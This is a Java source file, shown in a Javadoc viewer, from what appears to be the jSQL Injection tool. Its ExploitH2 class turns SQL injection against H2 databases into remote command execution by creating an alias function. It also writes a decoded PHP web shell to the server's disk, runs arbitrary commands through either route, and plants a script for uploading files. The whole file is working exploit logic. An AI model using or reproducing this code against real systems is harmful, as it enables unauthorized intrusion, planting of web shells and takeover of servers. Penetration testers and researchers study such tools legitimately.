View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.vendor.h2.ModelYamlH2;
7   import com.jsql.model.bean.util.Interaction;
8   import com.jsql.model.bean.util.Request;
9   import com.jsql.model.exception.JSqlException;
10  import com.jsql.model.exception.JSqlRuntimeException;
11  import com.jsql.util.LogLevelUtil;
12  import com.jsql.util.StringUtil;
13  import org.apache.commons.lang3.RandomStringUtils;
14  import org.apache.commons.lang3.StringUtils;
15  import org.apache.logging.log4j.LogManager;
16  import org.apache.logging.log4j.Logger;
17  import org.yaml.snakeyaml.Yaml;
18  
19  import java.io.File;
20  import java.io.FileInputStream;
21  import java.io.IOException;
22  import java.io.InputStream;
23  import java.net.http.HttpResponse;
24  import java.util.UUID;
25  import java.util.function.BinaryOperator;
26  
27  public class ExploitH2 {
28  
29      /**
30       * Log4j logger sent to view.
31       */
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlH2 modelYaml;
35  
36      public ExploitH2(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorVendor().getH2().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlH2.class
42          );
43      }
44  
45      public void createUdf() throws JSqlException {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47  
48          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50          var result = this.injectionModel.getResourceAccess().getResult(String.format(
51              this.modelYaml.getRce().getRunCmd(),
52              ResourceAccess.WEB_CONFIRM_CMD +"%20"
53          ), ResourceAccess.RUN_FUNC);
54          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56              var request = new Request();
57              request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_H2);
58              request.setParameters(null, null);
59              this.injectionModel.sendToViews(request);
60          }
61      }
62  
63      public String runRce(String command, UUID uuidShell) {
64          String result;
65          try {
66              result = this.injectionModel.getResourceAccess().getResult(String.format(
67                  this.modelYaml.getRce().getRunCmd(),
68                  command.replace(StringUtils.SPACE, "%20")
69              ), ResourceAccess.RUN_FUNC);
70          } catch (JSqlException e) {
71              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
72          }
73          var request = new Request();
74          request.setMessage(Interaction.GET_TERMINAL_RESULT);
75          request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
76          this.injectionModel.sendToViews(request);
77          return result;
78      }
79  
80      public String createWeb(String pathExploit, String urlExploit) {
81          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
82  
83          String bodyExploit = StringUtil.base64Decode(
84                  this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
85              )
86              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
87              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
88  
89          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
90          this.injectionModel.injectWithoutIndex(String.format(
91              this.modelYaml.getRce().getCreateTable(),
92              nameTable,
93              nameTable, bodyExploit.replace("'", "\"")
94          ), ResourceAccess.TBL_CREATE);
95          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
96          this.injectionModel.injectWithoutIndex(String.format(
97              this.modelYaml.getRce().getScriptSimple(),
98              pathExploit + nameExploit,
99              nameTable
100         ), ResourceAccess.TBL_DUMP);
101 
102         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103             String result = this.injectionModel.getResourceAccess().callCommand(
104                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
105             );
106             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
107                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
108                 return StringUtils.EMPTY;
109             }
110             var request = new Request();
111             request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
112             request.setParameters(urlSuccess);
113             this.injectionModel.sendToViews(request);
114             return urlSuccess;
115         };
116 
117         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
118     }
119 
120     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
121         String bodyExploit = StringUtil.base64Decode(
122                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
123             )
124             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
125             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
126 
127         var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
128         this.injectionModel.injectWithoutIndex(String.format(
129             this.modelYaml.getRce().getCreateTable(),
130             nameTable,
131             nameTable, bodyExploit.replace("'", "\"")
132         ), ResourceAccess.TBL_CREATE);
133         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
134         this.injectionModel.injectWithoutIndex(String.format(
135             this.modelYaml.getRce().getScriptSimple(),
136             pathExploit + nameExploit,
137             nameTable
138         ), ResourceAccess.TBL_DUMP);
139 
140         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
141             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
142                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
143                 if (result.body().contains(DataAccess.LEAD +"y")) {
144                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
145                 } else {
146                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
147                 }
148             } catch (InterruptedException e) {
149                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
150                 Thread.currentThread().interrupt();
151             } catch (IOException | JSqlException e) {
152                 throw new JSqlRuntimeException(e);
153             }
154             return urlSuccess;
155         };
156 
157         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
158     }
159 
160     public ModelYamlH2 getModelYaml() {
161         return this.modelYaml;
162     }
163 }